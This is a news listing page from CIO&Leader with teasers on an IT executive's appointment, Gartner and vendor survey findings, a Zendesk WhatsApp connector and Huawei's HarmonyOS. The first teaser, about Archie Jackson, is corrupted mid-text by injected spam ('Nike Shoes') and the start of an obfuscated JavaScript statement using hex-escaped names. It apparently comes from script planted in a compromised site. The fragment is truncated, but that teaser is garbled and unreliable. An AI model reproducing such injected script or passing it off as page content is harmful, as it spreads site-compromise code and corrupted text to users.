NEXT100 Winner Archie Jackson joins Incedo as Senior Director and Head of IT & IS
Archie Jackson has joined technology services and consulting firm, Incedo as Senior Director and Head of IT & IS. Jackson, a NEXT100 winner in 2011, was with Genpact as AVP, IT and Information Security, prior to joining Incedo. He has also served in major IT services and consulting firms such as Capgemini and Steria. Nike Shoesvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\... By CIO&Leader
Global 5G network infrastructure revenue to rise in 2020: Gartner
In 2020, worldwide 5G wireless network infrastructure revenue will reach USD 4.2 billion, an 89% increase from 2019 revenue of USD 2.2 billion, according to Gartner. Additionally, Gartner forecasts that investments in 5G NR network infrastructure will account for 6% of the total wireless infrastructure revenue of communications service providers (CSPs) in 2019, and that this figure... By CIO&Leader
More than 8 in 10 organizations discover third-party risks after due diligence period: Gartner
Among organizations that engage third parties to provide business services, 83% identified third-party risks after conducting due diligence and before recertification, according to Gartner. Gartner’s survey of more than 250 legal and compliance leaders reveals that the standard point-in-time approach to risk management is no longer effective in today’s landscape of fast-paced... By CIO&Leader
How CIO can become the boardroom influencer
The phenomenal rise of digital technologies along with changing customer expectations is having a knock-on effect on C-suite dynamics. While earlier the CEO in alliance with CMO and/or CFO would drive the key business decisions, today, the push for digital transformation has made CIO’s role in the boardroom vital. In such a changing scenario, it is interesting to examine how CIOs can become... By Sohini Bagchi
Cybercriminals leveraging evasion and anti-analysis techniques to avoid detection: Study
Cybercriminals continue to look for new attack opportunities throughout the digital attack surface and are leveraging evasion as well as anti-analysis techniques as they become more sophisticated in their attempts, according to findings of Fortinet’s latest quarterly Global Threat Landscape Report. The Threat Landscape Index crossed a milestone this quarter. It is up nearly 4% from its original... By CIO&Leader
"Tech leaders should focus on improving customer experiences"
The role of the Chief Technology Officer (CTO) is drastically changing in recent years from a tech-centric role to one having leadership, vision and a more customer-centric approach. In an exclusive interaction, Natasha Jethanandani, CTO of Kaleidofin - a digital financial services platform that offers innovative investment solutions - reflects on the changing role... By Sohini Bagchi
Cloud apps targets for cyberattacks for almost half of businesses: Study
Almost half (49%) of businesses believe cloud apps make them a target for cyber-attacks, according to new research from Thales. Surveying 1,050 IT decision makers globally, Thales’ 2019 Access Management Index revealed that cloud applications (49%) are listed in the top three reasons an organization might be attacked, just behind unprotected infrastructure such as IoT devices (54%) and... By CIO&Leader
Zendesk launches WhatsApp for Zendesk
Zendesk recently announced WhatsApp for Zendesk, a new WhatsApp Business API connector, which allows businesses to quickly and easily reach and respond to WhatsApp users. Zendesk offers the only trusted messaging solution that pulls in all customer conversations into a cohesive interface across web, mobile and messaging. Unveiled at Zendesk Showcase São Paulo, WhatsApp for... By CIO&Leader
Majority of working millennials hooked on checking emails in India: Study
Email is the most commonly used tool for communication and collaboration at work. Consequently, most inboxes are noisy and way too crowded. Almost 50% of the employees surveyed said they spend at least an hour a day checking emails, including 16.2% employees that spend more than 4 hours on their inboxes, according to a new research conducted by Hiver, a SaaS based email collaboration tool that... By CIO&Leader
Huawei launches new distributed operating system, HarmonyOS
At the Huawei Developer Conference, Huawei recently launched HarmonyOS – a new microkernel-based, distributed operating system designed to deliver a cohesive user experience across all devices and scenarios. Richard Yu, CEO of Huawei’s Consumer Business Group, explained the company’s thoughts behind developing this new OS. “We’re entering a day and age where people expect a holistic intelligent... By CIO&Leader
